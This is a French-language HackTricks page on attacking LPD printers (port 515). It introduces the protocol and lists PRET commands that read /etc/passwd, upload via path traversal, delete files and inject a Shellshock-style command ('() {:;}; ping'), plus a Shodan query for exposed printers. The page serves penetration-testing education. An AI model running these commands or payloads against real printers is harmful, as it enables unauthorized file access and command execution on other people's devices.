mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
57 lines
4.3 KiB
Markdown
57 lines
4.3 KiB
Markdown
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
### **Introduction au protocole LPD**
|
|
|
|
Dans les années 1980, le **protocole Line Printer Daemon (LPD)** a été développé dans Berkeley Unix, qui a ensuite été formalisé par le RFC1179. Ce protocole fonctionne sur le port 515/tcp, permettant des interactions via la commande `lpr`. L'essence de l'impression via LPD implique l'envoi d'un **fichier de contrôle** (pour spécifier les détails de la tâche et l'utilisateur) ainsi qu'un **fichier de données** (qui contient les informations d'impression). Bien que le fichier de contrôle permette la sélection de **différents formats de fichiers** pour le fichier de données, le traitement de ces fichiers est déterminé par l'implémentation spécifique de LPD. Une implémentation largement reconnue pour les systèmes de type Unix est **LPRng**. Notamment, le protocole LPD peut être exploité pour exécuter des **PostScript malveillants** ou des **tâches d'impression PJL**.
|
|
|
|
### **Outils pour interagir avec les imprimantes LPD**
|
|
|
|
[**PRET**](https://github.com/RUB-NDS/PRET) introduit deux outils essentiels, `lpdprint` et `lpdtest`, offrant une méthode simple pour interagir avec les imprimantes compatibles LPD. Ces outils permettent une gamme d'actions allant de l'impression de données à la manipulation de fichiers sur l'imprimante, tels que le téléchargement, le téléversement ou la suppression :
|
|
```python
|
|
# To print a file to an LPD printer
|
|
lpdprint.py hostname filename
|
|
# To get a file from the printer
|
|
lpdtest.py hostname get /etc/passwd
|
|
# To upload a file to the printer
|
|
lpdtest.py hostname put ../../etc/passwd
|
|
# To remove a file from the printer
|
|
lpdtest.py hostname rm /some/file/on/printer
|
|
# To execute a command injection on the printer
|
|
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
|
# To send a mail through the printer
|
|
lpdtest.py hostname mail lpdtest@mailhost.local
|
|
```
|
|
Pour les personnes intéressées par l'exploration plus approfondie du domaine du **printer hacking**, une ressource complète peut être trouvée ici : [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
|
|
|
# Shodan
|
|
|
|
* `port 515`
|
|
|
|
|
|
{% hint style="success" %}
|
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Soutenir HackTricks</summary>
|
|
|
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
|
|
|
</details>
|
|
{% endhint %}
|